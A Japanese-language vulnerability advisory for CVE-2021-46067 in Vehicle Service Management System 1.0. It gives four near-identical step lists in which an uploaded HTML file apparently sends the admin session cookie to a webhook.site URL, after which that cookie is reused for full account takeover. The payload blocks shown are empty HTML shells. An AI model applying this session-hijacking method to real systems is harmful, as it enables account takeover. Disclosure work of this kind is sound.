CVE-2021-46067

エクスプロイトタイトル: Vehicle Service Management System -「複数」の Cookie 窃取による完全なアカウント乗っ取り

エクスプロイト作者: SANU P.L

CVE: CVE-2021-46067

CVSS: 9.8 CRITICAL

参照:

• https://www.plsanu.com/vehicle-service-management-system-multiple-cookie-stealing-leads-to-full-account-takeover
• https://nvd.nist.gov/vuln/detail/CVE-2021-46067
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46067

説明:

Vehicle Service Management System 1.0 では、攻撃者が Cookie を窃取することで、完全なアカウント乗っ取り（Full Account Takeover）につながる可能性があります。

1. Vehicle Service Management System -「マイアカウント」 (/admin/?page=user)

エクスプロイト:

1. 管理パネルにログインする http://localhost/vehicle_service/admin
2. 「マイアカウント」セクションに移動する http://localhost/vehicle_service/admin/?page=user
3. Webhook URL を生成する - https://webhook.site
4. Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。

ペイロード:

<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>

5. 上記の html コードを保存する（例：Cookie Stealing.html）
6. 「マイアカウント」セクションで必要な詳細をすべて入力し、Avatar で html ファイルを参照する。
7. 更新ボタンをクリックする。
8. アバター画像を新しいタブで開き、Webhook のステータスを確認する。
9. リクエストが取得でき、そこに PHPSESSID が含まれている。
10. PHPSESSID の値をコピーし、別のブラウザを開く。
11. 管理パネルにアクセスする http://localhost/vehicle_service/admin
12. Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
13. 管理パネルにアクセスする http://localhost/vehicle_service/admin
14. アカウントに正常にログインする。アカウント乗っ取りが成功する。

2. Vehicle Service Management System -「ユーザー一覧」 (/admin/?page=user/manage_user)

エクスプロイト:

1. 管理パネルにログインする http://localhost/vehicle_service/admin
2. 「ユーザー一覧」セクションに移動し、「新規作成」ボタンをクリックする。
3. Webhook URL を生成する - https://webhook.site
4. Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。

ペイロード:

<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>

5. 上記の html コードを保存する（例：Cookie Stealing.html）
6. 「新規ユーザー作成」セクションで必要な詳細をすべて入力し、Avatar で html ファイルを参照する。
7. 保存ボタンをクリックする。
8. アバター画像を新しいタブで開き、Webhook のステータスを確認する。
9. リクエストが取得でき、そこに PHPSESSID が含まれている。
10. PHPSESSID の値をコピーし、別のブラウザを開く。
11. 管理パネルにアクセスする http://localhost/vehicle_service/admin
12. Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
13. 管理パネルにアクセスする http://localhost/vehicle_service/admin
14. アカウントに正常にログインする。アカウント乗っ取りが成功する。

3. Vehicle Service Management System -「設定-システムロゴ」 (/admin/?page=system_info)

エクスプロイト:

1. 管理パネルにログインする http://localhost/vehicle_service/admin
2. 「設定」セクションに移動する http://localhost/vehicle_service/admin/?page=system_info
3. Webhook URL を生成する - https://webhook.site
4. Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。

ペイロード:

<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>

5. 上記の html コードを保存する（例：Cookie Stealing.html）
6. 「設定」セクションで必要な詳細をすべて入力し、System Logo で html ファイルを参照する。
7. 更新ボタンをクリックする。
8. システムロゴ画像を新しいタブで開き、Webhook のステータスを確認する。
9. リクエストが取得でき、そこに PHPSESSID が含まれている。
10. PHPSESSID の値をコピーし、別のブラウザを開く。
11. 管理パネルにアクセスする http://localhost/vehicle_service/admin
12. Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
13. 管理パネルにアクセスする http://localhost/vehicle_service/admin
14. アカウントに正常にログインする。アカウント乗っ取りが成功する。

4. Vehicle Service Management System -「設定-ウェブサイトカバー」 (/admin/?page=system_info)

エクスプロイト:

1. 管理パネルにログインする http://localhost/vehicle_service/admin
2. 「設定」セクションに移動する http://localhost/vehicle_service/admin/?page=system_info
3. Webhook URL を生成する - https://webhook.site
4. Webhook の一意の URL をコピーし、以下の html コードに貼り付ける。

ペイロード:

<!DOCTYPE html>
<html>
<title>Cookie Stealing</title>
<body>

</body>
</html>

5. 上記の html コードを保存する（例：Cookie Stealing.html）
6. 「設定」セクションで必要な詳細をすべて入力し、Website Cover で html ファイルを参照する。
7. 更新ボタンをクリックする。
8. ウェブサイトカバー画像を新しいタブで開き、Webhook のステータスを確認する。
9. リクエストが取得でき、そこに PHPSESSID が含まれている。
10. PHPSESSID の値をコピーし、別のブラウザを開く。
11. 管理パネルにアクセスする http://localhost/vehicle_service/admin
12. Cookie の値を確認し、PHPSESSID の値をコピーした PHPSESSID の値に変更する。
13. 管理パネルにアクセスする http://localhost/vehicle_service/admin
14. アカウントに正常にログインする。アカウント乗っ取りが成功する。

影響:

攻撃者が悪意のある html ファイルをアップロードすると、サードパーティのウェブサイトにリダイレクトされ、リクエスト内で Cookie が露出します。これにより、完全なアカウント乗っ取りにつながります。

緩和策:

ファイルアップロード機能を検証し、セッション内で二次チェックを実行することを推奨します。